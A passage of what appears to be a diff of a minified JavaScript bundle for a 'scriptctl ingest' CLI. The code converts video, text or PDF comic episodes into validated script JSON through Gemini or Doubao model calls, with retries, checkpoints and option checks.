input.`,{exitCode:b,errorCode:"INGEST_VIDEO_INLINE_TOO_LARGE",hint:"Use --upload-mode file-api, or provide a source that transcodes below the Gemini inline limit.",data:{expected:[`video smaller than ${Kd} bytes after ingest transcoding`],actual:[`${n} bytes`]}})}function Oy(e,t){try{let n=t.uploadBytes?(t.uploadBytes/1024/1024).toFixed(1):"?",o=JSON.stringify({...t,uploadMB:n,at:new Date().toISOString()})+`
316
+ `;kt.appendFileSync(e.path("timing.jsonl"),o)}catch{}}function My(e){return new S("This workspace's accepted video sequence no longer matches the source.",{exitCode:b,errorCode:"INGEST_SOURCE_MISMATCH",hint:"Restore the accepted episode prefix, or choose a fresh --workspace-path for a different source.",data:{actual:[e]}})}function Nl(e){if(!e.has("manifest.json"))return null;let t=e.readJson("manifest.json");if(!t.pipeline_version||!ek.has(t.pipeline_version))throw new S("This workspace uses an incompatible video-ingest pipeline.",{exitCode:b,errorCode:"INGEST_PIPELINE_MISMATCH",hint:"Choose a fresh --workspace-path and run ingest again.",data:{actual:[`workspace pipeline ${t.pipeline_version??"(missing)"}; current ${gs}`]}});return e.readJson("manifest.json")}function Ul(e,t){if(t.pipeline_version===gs)return t;let n={...t,pipeline_version:gs,updated:new Date().toISOString()};return e.writeJson("manifest.json",n),n}function nk(e,t,n){if(e&&e.source.kind!==t)throw My(`source kind changed from ${e.source.kind} to ${t}`)}function ok(e,t,n,o){if(t){let i=Hh(t.episodes,n);if(i.kind==="incompatible")throw My(i.reason)}if(o){kt.rmSync(e.path("ep"),{recursive:!0,force:!0}),kt.rmSync(e.path("cache"),{recursive:!0,force:!0}),kt.rmSync(e.path("evidence"),{recursive:!0,force:!0});for(let i of["context.json","script.initial.json","script.json","validation.json","asset-audit.json","id_map.json","timing.jsonl","usage.json","v4_identity_map.json","skipped.json"])kt.rmSync(e.path(i),{force:!0})}}function ik(e,t){return e.map(n=>{let o=structuredClone(n);for(let i of o.actors)i.name=mr(i.name,t)??i.name;for(let i of o.scenes){for(let c of i.characters)c.name=mr(c.name,t)??c.name;i.location&&(i.location=mr(i.location,t)??i.location);let r=[],s=new Set;for(let c of i.props){let a=(mr(c,t)??c).trim();if(!a)continue;let d=a.normalize("NFC").replace(/\s+/g," ").trim().toLowerCase();s.has(d)||(s.add(d),r.push(a))}i.props=r;for(let c of i.anchors)c.speaker=mr(c.speaker,t)}return o})}function rk(e,t){let n=t.slice(0,8).map(o=>`- ${o.path}: ${o.message}`).join(`
317
317
  `);return`${e}
318
318
 
319
319
  ========== \u4E0A\u4E00\u6B21\u8F93\u51FA\u7684\u6574\u5408\u6821\u9A8C\u53CD\u9988 ==========
320
320
  \u4E0A\u4E00\u6B21\u5BF9\u672C\u96C6\u7684\u7ED3\u6784\u5316\u8F93\u51FA\u6CA1\u6709\u5199\u5165 checkpoint\uFF0C\u56E0\u4E3A\u4E0E\u65E2\u6709\u5267\u672C\u5408\u5E76\u540E\u8FDD\u53CD\u4E86\u4EE5\u4E0B\u7EA6\u675F\uFF1A
321
321
  ${n}
322
- \u8BF7\u91CD\u65B0\u89C2\u770B\u672C\u96C6\u5E76\u8FD4\u56DE\u5B8C\u6574\u8F93\u51FA\u3002\u4FDD\u6301\u539F\u7247\u4E8B\u5B9E\u3001\u5BF9\u767D\u3001\u955C\u5934\u4E0E\u5DF2\u77E5\u4EBA\u7269\u4E0D\u53D8\uFF0C\u53EA\u4FEE\u6B63\u5BFC\u81F4\u6821\u9A8C\u5931\u8D25\u7684\u4EBA\u7269\u547D\u540D\u3001\u8D44\u4EA7\u7ED1\u5B9A\u6216 registry_delta\u3002\u4EBA\u7269\u89C4\u8303\u540D\u4E0D\u5F97\u7528\u62EC\u53F7\u5907\u6CE8\u533A\u5206\u89D2\u8272\uFF1B\u89D2\u8272\u804C\u80FD\u5199\u5165 role\uFF0C\u4E0D\u540C\u4EBA\u7269\u4F7F\u7528\u5F52\u4E00\u540E\u4ECD\u552F\u4E00\u7684\u89C4\u8303\u540D\u3002`}function Ny(e,t,n,o,i=[]){let r=Jo(t.registry),s=ik(e,r),c=Yh(s,n),a=Ka(c,t,"video",o);if(!a.scriptV4)return a;let{scriptV4:d,initial:p,idMap:l,identityMap:f}=a;Oy(d,i);let u=Pe(d),y=[...d.actors.map((g,w)=>({asset:g,path:`$.actors[${w}]`})),...d.locations.map((g,w)=>({asset:g,path:`$.locations[${w}]`})),...d.props.map((g,w)=>({asset:g,path:`$.props[${w}]`}))].flatMap(({asset:g,path:w})=>[...g.description.trim()?[]:[{code:"video_asset_description_missing",path:`${w}.description`,message:"video asset needs a source-grounded description"}],...g.states.flatMap((h,_)=>h.description.trim()?[]:[{code:"video_state_description_missing",path:`${w}.states[${_}].description`,message:"video asset state needs a source-grounded visual description"}])]),m={...u,warnings:[...u.warnings,...ar(d),...y,...i.map(g=>({code:"episode_skipped",path:`$.episodes[${g.episode-1}]`,message:`Episode ${g.episode} was manually skipped: ${g.reason}`}))]};return{initial:p,final:d,idMap:l,validation:m,identityMap:f}}function ac(e,t,n,o,i,r){let s=Ny(sc(e,t,n.lastEpisode,r),n,o,i,r.filter(l=>l.episode<=n.lastEpisode)),{initial:c,final:a,idMap:d,validation:p}=s;if(e.writeJson("script.initial.json",c),e.writeJson("id_map.json",d),e.writeJson("validation.json",p),e.writeJson("v4_identity_map.json",s.identityMap),!p.ok)throw new S("Final script.json failed validation.",{exitCode:b,errorCode:"INGEST_VALIDATION_FAILED",hint:"Inspect validation.json.",data:{actual:p.errors.slice(0,5).map(l=>`${l.path}: ${l.message}`)}});return e.writeJson("script.json",a),s}async function sk(e,t,n,o,i,r,s){return oc(e,Xa(t,n,o,i,r),s)}async function ak(e){let t=vn(e.sourcePath);if(t.kind!=="video-file"&&t.kind!=="video-directory")throw new S("runVideoIngest requires a video source.",{exitCode:b,errorCode:"INGEST_WRONG_PIPELINE"});let n=[...tc(t)].sort((g,w)=>g.episode-w.episode),o=Wa(n);if(o)throw new S("Video episodes must form one continuous sequence starting at episode 1.",{exitCode:b,errorCode:"INGEST_VIDEO_SEQUENCE",hint:"Add or rename files so the discovered episode numbers are 1..N with no gaps.",data:{actual:[o]}});let i=e.fps??3,r=e.force??!1,s=e.step??!1,c=e.uploadMode??"file-api",a=e.signal,d=new mt(e.workspacePath);d.ensure();let p=Ul(d),l=Ft.resolve(t.path);nk(p,t.kind,l);let f=hy(n,p?.episodes??[],p?.updated);ok(d,p,f,r);let u={version:2,pipeline_version:ys,updated:new Date().toISOString(),source:{kind:t.kind,path:l,sha256:nc(f)},episodes:f,fps:i,skips:r?[]:p?.skips??[]};d.writeJson("manifest.json",u);let y=new Go(d,e.executor),m="failed";try{let g=null,w=cc(e.sourcePath),h=!r&&d.has("context.json")?d.readJson("context.json"):Bo(),_={schema_version:1,episodes:u.skips??[]};rc(_.episodes,f),r||hs(d,h,_.episodes);let x=new Set(_.episodes.map(j=>j.episode)),E=!r&&d.has("v4_identity_map.json")?d.readJson("v4_identity_map.json"):Do(),A=new Set(n.filter(j=>!r&&!x.has(j.episode)&&j.episode<=h.lastEpisode&&d.has(`ep/ep_${bi(j.episode)}.json`)).map(j=>j.episode));y.recordReusedEpisodes("ingest.video-serial",[...A]);let k=A.size,N=0;for(let j of n){let vt=`ep/ep_${bi(j.episode)}.json`;if(!r&&x.has(j.episode)&&j.episode<=h.lastEpisode||A.has(j.episode))continue;if(s&&N>=1)break;let P=Ja(h);d.writeText(`ep/ep_${bi(j.episode)}.context.md`,P);let ce,Se,Ot,Cn,Ni=Date.now(),Rt={episode:j.episode,uploadMode:c,status:"succeeded",totalMs:0},Rs="transcode";try{let gn=Date.now(),ht=await wy(j.path,d.path(`cache/ep_${bi(j.episode)}.mp4`),j.mime,a);Rt.transcodeMs=Date.now()-gn,Rt.uploadBytes=My(ht.path),Rt.transcoded=ht.transcoded,ht.note&&(Rt.note=ht.note),c==="base64"&&tk(ht.path,j.episode),Rs="upload",g??=e.executor.videoPort("ingest.video-serial");let Sc=Date.now(),uo=await g.prepare(ht.path,ht.mime,c,a);Rt.uploadMs=Date.now()-Sc;try{Rs="generate";let Ic=Date.now(),$w=sc(d,n,h.lastEpisode,_.episodes),Ac=P;for(let Ms=1;Ms<=Nl;Ms++){let Ls;try{Ls=await by(g,uo,j.episode,Ac,i,{format:e.outputFormat??"dsl",...a?{signal:a}:{},local:{path:ht.path,mime:ht.mime},onTimestampMissing:Yt=>kt.appendFileSync(d.path("ingest-validation.jsonl"),JSON.stringify(Yt)+`
323
- `)})}catch(Yt){if(!(Yt instanceof S)||Yt.errorCode!=="INGEST_VIDEO_SERIAL_FAILED"||Ms===Nl)throw Yt;Ac=`${P}
322
+ \u8BF7\u91CD\u65B0\u89C2\u770B\u672C\u96C6\u5E76\u8FD4\u56DE\u5B8C\u6574\u8F93\u51FA\u3002\u4FDD\u6301\u539F\u7247\u4E8B\u5B9E\u3001\u5BF9\u767D\u3001\u955C\u5934\u4E0E\u5DF2\u77E5\u4EBA\u7269\u4E0D\u53D8\uFF0C\u53EA\u4FEE\u6B63\u5BFC\u81F4\u6821\u9A8C\u5931\u8D25\u7684\u4EBA\u7269\u547D\u540D\u3001\u8D44\u4EA7\u7ED1\u5B9A\u6216 registry_delta\u3002\u4EBA\u7269\u89C4\u8303\u540D\u4E0D\u5F97\u7528\u62EC\u53F7\u5907\u6CE8\u533A\u5206\u89D2\u8272\uFF1B\u89D2\u8272\u804C\u80FD\u5199\u5165 role\uFF0C\u4E0D\u540C\u4EBA\u7269\u4F7F\u7528\u5F52\u4E00\u540E\u4ECD\u552F\u4E00\u7684\u89C4\u8303\u540D\u3002`}function Ly(e,t,n,o,i=[]){let r=Bo(t.registry),s=ik(e,r),c=Fh(s,n),a=Ja(c,t,"video",o);if(!a.scriptV4)return a;let{scriptV4:d,initial:p,idMap:l,identityMap:f}=a;vy(d,i);let u=Pe(d),y=[...d.actors.map((g,w)=>({asset:g,path:`$.actors[${w}]`})),...d.locations.map((g,w)=>({asset:g,path:`$.locations[${w}]`})),...d.props.map((g,w)=>({asset:g,path:`$.props[${w}]`}))].flatMap(({asset:g,path:w})=>[...g.description.trim()?[]:[{code:"video_asset_description_missing",path:`${w}.description`,message:"video asset needs a source-grounded description"}],...g.states.flatMap((h,_)=>h.description.trim()?[]:[{code:"video_state_description_missing",path:`${w}.states[${_}].description`,message:"video asset state needs a source-grounded visual description"}])]),m={...u,warnings:[...u.warnings,...rr(d),...y,...i.map(g=>({code:"episode_skipped",path:`$.episodes[${g.episode-1}]`,message:`Episode ${g.episode} was manually skipped: ${g.reason}`}))]};return{initial:p,final:d,idMap:l,validation:m,identityMap:f}}function sc(e,t,n,o,i,r){let s=Ly(rc(e,t,n.lastEpisode,r),n,o,i,r.filter(l=>l.episode<=n.lastEpisode)),{initial:c,final:a,idMap:d,validation:p}=s;if(e.writeJson("script.initial.json",c),e.writeJson("id_map.json",d),e.writeJson("validation.json",p),e.writeJson("v4_identity_map.json",s.identityMap),!p.ok)throw new S("Final script.json failed validation.",{exitCode:b,errorCode:"INGEST_VALIDATION_FAILED",hint:"Inspect validation.json.",data:{actual:p.errors.slice(0,5).map(l=>`${l.path}: ${l.message}`)}});return e.writeJson("script.json",a),s}async function sk(e,t,n,o,i,r,s){return nc(e,Wa(t,n,o,i,r),s)}async function ak(e){let t=bn(e.sourcePath);if(t.kind!=="video-file"&&t.kind!=="video-directory")throw new S("runVideoIngest requires a video source.",{exitCode:b,errorCode:"INGEST_WRONG_PIPELINE"});let n=[...ec(t)].sort((g,w)=>g.episode-w.episode),o=Za(n);if(o)throw new S("Video episodes must form one continuous sequence starting at episode 1.",{exitCode:b,errorCode:"INGEST_VIDEO_SEQUENCE",hint:"Add or rename files so the discovered episode numbers are 1..N with no gaps.",data:{actual:[o]}});let i=e.fps??3,r=e.force??!1,s=e.step??!1,c=e.uploadMode??"file-api",a=e.signal,d=new mt(e.workspacePath);d.ensure();let p=Nl(d),l=Ft.resolve(t.path);nk(p,t.kind,l);let f=gy(n,p?.episodes??[],p?.updated);ok(d,p,f,r);let u={version:2,pipeline_version:gs,updated:new Date().toISOString(),source:{kind:t.kind,path:l,sha256:tc(f)},episodes:f,fps:i,skips:r?[]:p?.skips??[]};d.writeJson("manifest.json",u);let y=new Do(d,e.executor),m="failed";try{let g=null,w=ac(e.sourcePath),h=!r&&d.has("context.json")?d.readJson("context.json"):Go(),_={schema_version:1,episodes:u.skips??[]};ic(_.episodes,f),r||ms(d,h,_.episodes);let x=new Set(_.episodes.map(j=>j.episode)),E=!r&&d.has("v4_identity_map.json")?d.readJson("v4_identity_map.json"):$o(),A=new Set(n.filter(j=>!r&&!x.has(j.episode)&&j.episode<=h.lastEpisode&&d.has(`ep/ep_${ki(j.episode)}.json`)).map(j=>j.episode));y.recordReusedEpisodes("ingest.video-serial",[...A]);let k=A.size,N=0;for(let j of n){let vt=`ep/ep_${ki(j.episode)}.json`;if(!r&&x.has(j.episode)&&j.episode<=h.lastEpisode||A.has(j.episode))continue;if(s&&N>=1)break;let P=Ba(h);d.writeText(`ep/ep_${ki(j.episode)}.context.md`,P);let ce,Se,Ot,Pn,Li=Date.now(),Rt={episode:j.episode,uploadMode:c,status:"succeeded",totalMs:0},vs="transcode";try{let gn=Date.now(),ht=await yy(j.path,d.path(`cache/ep_${ki(j.episode)}.mp4`),j.mime,a);Rt.transcodeMs=Date.now()-gn,Rt.uploadBytes=Ry(ht.path),Rt.transcoded=ht.transcoded,ht.note&&(Rt.note=ht.note),c==="base64"&&tk(ht.path,j.episode),vs="upload",g??=e.executor.videoPort("ingest.video-serial");let xc=Date.now(),lo=await g.prepare(ht.path,ht.mime,c,a);Rt.uploadMs=Date.now()-xc;try{vs="generate";let Sc=Date.now(),Vw=rc(d,n,h.lastEpisode,_.episodes),Ic=P;for(let Os=1;Os<=Ll;Os++){let Rs;try{Rs=await ky(g,lo,j.episode,Ic,i,{format:e.outputFormat??"dsl",...a?{signal:a}:{},local:{path:ht.path,mime:ht.mime},onTimestampMissing:Yt=>kt.appendFileSync(d.path("ingest-validation.jsonl"),JSON.stringify(Yt)+`
323
+ `)})}catch(Yt){if(!(Yt instanceof S)||Yt.errorCode!=="INGEST_VIDEO_SERIAL_FAILED"||Os===Ll)throw Yt;Ic=`${P}
324
324
 
325
- \u4E0A\u4E00\u6B21\u8F93\u51FA\u672A\u88AB\u63A5\u53D7\uFF0C\u4E5F\u672A\u63A8\u8FDB checkpoint\uFF1A${Yt.message}\u3002\u8BF7\u91CD\u65B0\u89C2\u770B\u5F53\u524D\u96C6\uFF0C\u53EA\u6309\u89C6\u9891\u4E8B\u5B9E\u8FD4\u56DE\u7B26\u5408\u672C\u4EFB\u52A1\u8F93\u51FA\u683C\u5F0F\u7684\u5B8C\u6574\u7ED3\u679C\uFF0Cscenes \u81F3\u5C11\u5305\u542B\u4E00\u4E2A\u5B9E\u9645\u573A\u666F\uFF1B\u4E0D\u8981\u53EA\u5199\u6897\u6982\u6216\u8BBE\u5B9A\u589E\u91CF\u3002`;continue}let fu=ly(Ls.output,j.episode),kc=structuredClone(h);us(kc,Ls.output,j.episode);let Ns=Ny([...$w,fu],kc,w,E,_.episodes.filter(Yt=>Yt.episode<=j.episode));if(Ns.validation.ok){ce=Ls.transcript,Se=fu,Ot=kc,Cn=Ns;break}if(Rs="validation",Ms===Nl)throw new S("Final script.json failed validation after model correction.",{exitCode:b,errorCode:"INGEST_VALIDATION_FAILED",hint:"Rerun ingest to continue with the next configured model route.",data:{actual:Ns.validation.errors.slice(0,8).map(Yt=>`${Yt.path}: ${Yt.message}`)}});Ac=rk(P,Ns.validation.errors)}Rt.generateMs=Date.now()-Ic}finally{await g.release(uo,a).catch(()=>{}),ht.transcoded&&kt.rmSync(ht.path,{force:!0})}}catch(gn){let ht=Date.now();Rt.status="failed",Rt.totalMs=ht-Ni,Ry(d,Rt),y.flush({scope:{kind:"episode",episode:j.episode},status:"failed",startedAtMs:Ni,endedAtMs:ht,stages:Rt});let Sc=gn instanceof S&&gn.errorCode==="INGEST_VIDEO_SERIAL_FAILED"?"parse":Rs,uo=Ya(gn,j.episode,Sc),Ic=hn(uo.failure);throw d.writeJson(`ep/ep_${bi(j.episode)}.error.json`,uo),d.writeJson("manifest.json",{...u,updated:uo.occurred_at,current_error:uo}),gn instanceof S&&(gn.errorCode==="INGEST_VIDEO_INLINE_TOO_LARGE"||gn.errorCode==="INGEST_VALIDATION_FAILED"||gn.errorCode==="INGEST_VIDEO_TIMESTAMP_MISSING")?gn:new S(`Episode ${j.episode} failed serial parse; later episodes depend on its context.`,{exitCode:b,errorCode:"INGEST_SERIAL_INCOMPLETE",hint:Kh(uo.failure),data:{actual:[Ic]}})}h=Ot,N+=1,d.writeText(`ep/ep_${bi(j.episode)}.${(e.outputFormat??"dsl")==="dsl"?"ep":"md"}`,ce),d.writeJson(vt,Se),d.writeJson("context.json",h),d.clearError(`ep/ep_${bi(j.episode)}.error.json`);let uu=Date.now();Rt.totalMs=uu-Ni,Ry(d,Rt),y.flush({scope:{kind:"episode",episode:j.episode},status:"succeeded",startedAtMs:Ni,endedAtMs:uu,stages:Rt}),E=Cn.identityMap,d.writeJson("v4_identity_map.json",E),d.writeJson("script.json",Cn.final)}let M=Math.min(h.lastEpisode,n.length),I=n.length-M,O=I===0,U=O?null:n[M]?.episode??null,C=ac(d,n.slice(0,M),h,w,E,_.episodes),{final:R,validation:K}=C,Z=O?await sk(d,sc(d,n,h.lastEpisode,_.episodes),R,h,f,u.source.sha256,a):{items:[]},Re=Z.items.flatMap(j=>j.samples),ie=R;return m="succeeded",{workspacePath:d.root,episodes:n.length,processed:N,reused:k,skipped:_.episodes.length,skippedEpisodes:_.episodes.map(j=>j.episode),completed:M,remaining:I,complete:O,nextEpisode:U,uploadMode:c,assets:{actors:ie.actors?.length??0,locations:ie.locations?.length??0,props:ie.props?.length??0},evidence:{states:Z.items.length,samples:Re.length,ready:Re.filter(j=>j.frame_status==="ready").length},scriptPath:d.path("script.json"),validation:{ok:K.ok,errors:K.errors.length,warnings:K.warnings.length}}}finally{y.finish(m)}}async function Uy(e){return Ko(e.workspacePath,()=>ak(e))}function cc(e){let t=Ft.resolve(e),n=kt.existsSync(t)&&kt.statSync(t).isDirectory(),i=(n?"":Ft.basename(t,Ft.extname(t))).replace(/(?:[-_\s]*第\s*\d+\s*[集话]|[-_\s]+(?:ep\s*)?\d+)$/i,"").trim();if(i&&!/^(?:\d+|ep\s*\d+|videos?|source|源视频)$/i.test(i))return i;for(n||(t=Ft.dirname(t));t!==Ft.dirname(t);){let r=Ft.basename(t).trim();if(r&&!/^(?:videos?|source|源视频)$/i.test(r))return r;t=Ft.dirname(t)}return"\u672A\u547D\u540D\u5267\u672C"}var wr=e=>e==null?"":String(e),Py=(e,t)=>{let n=Number(e);return Number.isInteger(n)&&n>0?n:t},ck=["fps","video_provider","upload_mode","provider_base_url","provider_api_key","provider_api_key_env","provider_model","video_output","step"];function co(e,t){return new S(e,{exitCode:b,errorCode:"INGEST_VIDEO_OPTION_INVALID",hint:"Use these options only with a video file or video episode directory.",data:{actual:t}})}function dc(e,t){return Object.prototype.hasOwnProperty.call(e,t)&&e[t]!==void 0}function vi(e,t,n){if(!dc(e,t))return;let o=wr(e[t]).trim();if(!o)throw co(`${n} requires a non-empty value.`,[n]);return o}function dk(e){let t=vi(e,"upload_mode","--upload-mode");if(t!==void 0){if(t!=="file-api"&&t!=="base64")throw co("Video upload mode must be file-api or base64.",[`--upload-mode ${t}`]);return t}}function pk(e){let t=vi(e,"video_output","--video-output");if(t!==void 0&&t!=="dsl"&&t!=="json")throw co("Video output format must be dsl or json.",[`--video-output ${t}`]);return t}function lk(e){let t=vi(e,"video_provider","--video-provider");if(t!==void 0&&t!=="gemini"&&t!=="doubao")throw co("Video provider must be gemini or doubao.",["--video-provider gemini|doubao"]);let n=dc(e,"provider_api_key"),o=dc(e,"provider_api_key_env");if(n&&o)throw co("Provider API key options are mutually exclusive.",["--provider-api-key","--provider-api-key-env"]);let i=vi(e,"provider_base_url","--provider-base-url"),r=vi(e,"provider_api_key","--provider-api-key"),s=vi(e,"provider_api_key_env","--provider-api-key-env"),c=vi(e,"provider_model","--provider-model");if(s!==void 0&&!/^[A-Za-z_][A-Za-z0-9_]*$/.test(s))throw co("Provider API key environment variable name is invalid.",[s]);let a;if(r!==void 0?a={kind:"literal",value:r}:s!==void 0&&(a={kind:"env",name:s}),!(!t&&!i&&!a&&!c))return{...t?{provider:t}:{},...i?{baseUrl:i}:{},...a?{apiKey:a}:{},...c?{model:c}:{}}}async function Ty(e,t=no){let n=wr(e.source_path).trim();if(!n)throw new S("ingest needs a source file or directory.",{exitCode:b,errorCode:"INGEST_NO_SOURCE",hint:"Pass a txt/md/docx file, a video source or a PDF comic source: scriptctl ingest --source-path <path>.",data:{expected:["--source-path <file|dir>"]}});let o=Cy.resolve(wr(e.workspace_path||"workspace")),i=vn(n),r=ck.filter(d=>{let p=e[d];return typeof p=="boolean"?p:dc(e,d)});if(i.kind==="text"&&r.length>0)throw co("Video ingest options cannot be used with a text source.",r.map(d=>`--${d.replace(/_/g,"-")}`));if(i.kind==="comic-file"||i.kind==="comic-directory"){let d=r.filter(f=>f!=="step");if(d.length)throw co("Video provider options cannot be used with PDF comics; select the comic model with --llm-config.",d);let p=t.createExecutor(wr(e.llm_config).trim()||void 0),l=await Hh({sourcePath:n,workspacePath:o,executor:p,force:!!e.force,step:!!e.step});return[{text:`workspace: ${l.workspace}
325
+ \u4E0A\u4E00\u6B21\u8F93\u51FA\u672A\u88AB\u63A5\u53D7\uFF0C\u4E5F\u672A\u63A8\u8FDB checkpoint\uFF1A${Yt.message}\u3002\u8BF7\u91CD\u65B0\u89C2\u770B\u5F53\u524D\u96C6\uFF0C\u53EA\u6309\u89C6\u9891\u4E8B\u5B9E\u8FD4\u56DE\u7B26\u5408\u672C\u4EFB\u52A1\u8F93\u51FA\u683C\u5F0F\u7684\u5B8C\u6574\u7ED3\u679C\uFF0Cscenes \u81F3\u5C11\u5305\u542B\u4E00\u4E2A\u5B9E\u9645\u573A\u666F\uFF1B\u4E0D\u8981\u53EA\u5199\u6897\u6982\u6216\u8BBE\u5B9A\u589E\u91CF\u3002`;continue}let uu=py(Rs.output,j.episode),Ac=structuredClone(h);ps(Ac,Rs.output,j.episode);let Ms=Ly([...Vw,uu],Ac,w,E,_.episodes.filter(Yt=>Yt.episode<=j.episode));if(Ms.validation.ok){ce=Rs.transcript,Se=uu,Ot=Ac,Pn=Ms;break}if(vs="validation",Os===Ll)throw new S("Final script.json failed validation after model correction.",{exitCode:b,errorCode:"INGEST_VALIDATION_FAILED",hint:"Rerun ingest to continue with the next configured model route.",data:{actual:Ms.validation.errors.slice(0,8).map(Yt=>`${Yt.path}: ${Yt.message}`)}});Ic=rk(P,Ms.validation.errors)}Rt.generateMs=Date.now()-Sc}finally{await g.release(lo,a).catch(()=>{}),ht.transcoded&&kt.rmSync(ht.path,{force:!0})}}catch(gn){let ht=Date.now();Rt.status="failed",Rt.totalMs=ht-Li,Oy(d,Rt),y.flush({scope:{kind:"episode",episode:j.episode},status:"failed",startedAtMs:Li,endedAtMs:ht,stages:Rt});let xc=gn instanceof S&&gn.errorCode==="INGEST_VIDEO_SERIAL_FAILED"?"parse":vs,lo=Fa(gn,j.episode,xc),Sc=hn(lo.failure);throw d.writeJson(`ep/ep_${ki(j.episode)}.error.json`,lo),d.writeJson("manifest.json",{...u,updated:lo.occurred_at,current_error:lo}),gn instanceof S&&(gn.errorCode==="INGEST_VIDEO_INLINE_TOO_LARGE"||gn.errorCode==="INGEST_VALIDATION_FAILED"||gn.errorCode==="INGEST_VIDEO_TIMESTAMP_MISSING")?gn:new S(`Episode ${j.episode} failed serial parse; later episodes depend on its context.`,{exitCode:b,errorCode:"INGEST_SERIAL_INCOMPLETE",hint:Jh(lo.failure),data:{actual:[Sc]}})}h=Ot,N+=1,d.writeText(`ep/ep_${ki(j.episode)}.${(e.outputFormat??"dsl")==="dsl"?"ep":"md"}`,ce),d.writeJson(vt,Se),d.writeJson("context.json",h),d.clearError(`ep/ep_${ki(j.episode)}.error.json`);let lu=Date.now();Rt.totalMs=lu-Li,Oy(d,Rt),y.flush({scope:{kind:"episode",episode:j.episode},status:"succeeded",startedAtMs:Li,endedAtMs:lu,stages:Rt}),E=Pn.identityMap,d.writeJson("v4_identity_map.json",E),d.writeJson("script.json",Pn.final)}let M=Math.min(h.lastEpisode,n.length),I=n.length-M,O=I===0,U=O?null:n[M]?.episode??null,C=sc(d,n.slice(0,M),h,w,E,_.episodes),{final:R,validation:K}=C,Z=O?await sk(d,rc(d,n,h.lastEpisode,_.episodes),R,h,f,u.source.sha256,a):{items:[]},Re=Z.items.flatMap(j=>j.samples),ie=R;return m="succeeded",{workspacePath:d.root,episodes:n.length,processed:N,reused:k,skipped:_.episodes.length,skippedEpisodes:_.episodes.map(j=>j.episode),completed:M,remaining:I,complete:O,nextEpisode:U,uploadMode:c,assets:{actors:ie.actors?.length??0,locations:ie.locations?.length??0,props:ie.props?.length??0},evidence:{states:Z.items.length,samples:Re.length,ready:Re.filter(j=>j.frame_status==="ready").length},scriptPath:d.path("script.json"),validation:{ok:K.ok,errors:K.errors.length,warnings:K.warnings.length}}}finally{y.finish(m)}}async function Ny(e){return Jo(e.workspacePath,()=>ak(e))}function ac(e){let t=Ft.resolve(e),n=kt.existsSync(t)&&kt.statSync(t).isDirectory(),i=(n?"":Ft.basename(t,Ft.extname(t))).replace(/(?:[-_\s]*第\s*\d+\s*[集话]|[-_\s]+(?:ep\s*)?\d+)$/i,"").trim();if(i&&!/^(?:\d+|ep\s*\d+|videos?|source|源视频)$/i.test(i))return i;for(n||(t=Ft.dirname(t));t!==Ft.dirname(t);){let r=Ft.basename(t).trim();if(r&&!/^(?:videos?|source|源视频)$/i.test(r))return r;t=Ft.dirname(t)}return"\u672A\u547D\u540D\u5267\u672C"}var hr=e=>e==null?"":String(e),Uy=(e,t)=>{let n=Number(e);return Number.isInteger(n)&&n>0?n:t},ck=["fps","video_provider","upload_mode","provider_base_url","provider_api_key","provider_api_key_env","provider_model","video_output","step"];function ao(e,t){return new S(e,{exitCode:b,errorCode:"INGEST_VIDEO_OPTION_INVALID",hint:"Use these options only with a video file or video episode directory.",data:{actual:t}})}function cc(e,t){return Object.prototype.hasOwnProperty.call(e,t)&&e[t]!==void 0}function bi(e,t,n){if(!cc(e,t))return;let o=hr(e[t]).trim();if(!o)throw ao(`${n} requires a non-empty value.`,[n]);return o}function dk(e){let t=bi(e,"upload_mode","--upload-mode");if(t!==void 0){if(t!=="file-api"&&t!=="base64")throw ao("Video upload mode must be file-api or base64.",[`--upload-mode ${t}`]);return t}}function pk(e){let t=bi(e,"video_output","--video-output");if(t!==void 0&&t!=="dsl"&&t!=="json")throw ao("Video output format must be dsl or json.",[`--video-output ${t}`]);return t}function lk(e){let t=bi(e,"video_provider","--video-provider");if(t!==void 0&&t!=="gemini"&&t!=="doubao")throw ao("Video provider must be gemini or doubao.",["--video-provider gemini|doubao"]);let n=cc(e,"provider_api_key"),o=cc(e,"provider_api_key_env");if(n&&o)throw ao("Provider API key options are mutually exclusive.",["--provider-api-key","--provider-api-key-env"]);let i=bi(e,"provider_base_url","--provider-base-url"),r=bi(e,"provider_api_key","--provider-api-key"),s=bi(e,"provider_api_key_env","--provider-api-key-env"),c=bi(e,"provider_model","--provider-model");if(s!==void 0&&!/^[A-Za-z_][A-Za-z0-9_]*$/.test(s))throw ao("Provider API key environment variable name is invalid.",[s]);let a;if(r!==void 0?a={kind:"literal",value:r}:s!==void 0&&(a={kind:"env",name:s}),!(!t&&!i&&!a&&!c))return{...t?{provider:t}:{},...i?{baseUrl:i}:{},...a?{apiKey:a}:{},...c?{model:c}:{}}}async function Cy(e,t=to){let n=hr(e.source_path).trim();if(!n)throw new S("ingest needs a source file or directory.",{exitCode:b,errorCode:"INGEST_NO_SOURCE",hint:"Pass a txt/md/docx file, a video source or a PDF comic source: scriptctl ingest --source-path <path>.",data:{expected:["--source-path <file|dir>"]}});let o=Py.resolve(hr(e.workspace_path||"workspace")),i=bn(n),r=ck.filter(d=>{let p=e[d];return typeof p=="boolean"?p:cc(e,d)});if(i.kind==="text"&&r.length>0)throw ao("Video ingest options cannot be used with a text source.",r.map(d=>`--${d.replace(/_/g,"-")}`));if(i.kind==="comic-file"||i.kind==="comic-directory"){let d=r.filter(f=>f!=="step");if(d.length)throw ao("Video provider options cannot be used with PDF comics; select the comic model with --llm-config.",d);let p=t.createExecutor(hr(e.llm_config).trim()||void 0),l=await zh({sourcePath:n,workspacePath:o,executor:p,force:!!e.force,step:!!e.step});return[{text:`workspace: ${l.workspace}
326
326
  ${l.completed}/${l.episodes} chapters complete (${l.processed} processed / ${l.reused} reused) \u2192 ${l.script_path}
327
- assets: ${l.assets.actors} actors / ${l.assets.locations} locations / ${l.assets.props} props`,data:l},G]}if(i.kind!=="text"){let d=dk(e),p=pk(e),l=lk(e),f=l?{videoProvider:l}:void 0,u=t.createExecutor(wr(e.llm_config).trim()||void 0,f),y=u.route("ingest.video-serial"),m=d??y.videoUploadMode??"file-api";if(l?.provider==="doubao"&&m!=="file-api")throw co("Doubao requires --upload-mode file-api.",["--upload-mode file-api"]);let g=await Uy({sourcePath:n,workspacePath:o,executor:u,fps:Py(e.fps,3),force:!!e.force,step:!!e.step,uploadMode:m,...p?{outputFormat:p}:{}}),w=[`workspace: ${g.workspacePath}`,`${g.completed}/${g.episodes} episodes complete (${g.processed} processed / ${g.reused} reused / ${g.remaining} remaining) \u2192 ${g.scriptPath}`,...g.skipped>0?[`skipped: ${g.skippedEpisodes.join(", ")}`]:[],`assets: ${g.assets.actors} actors / 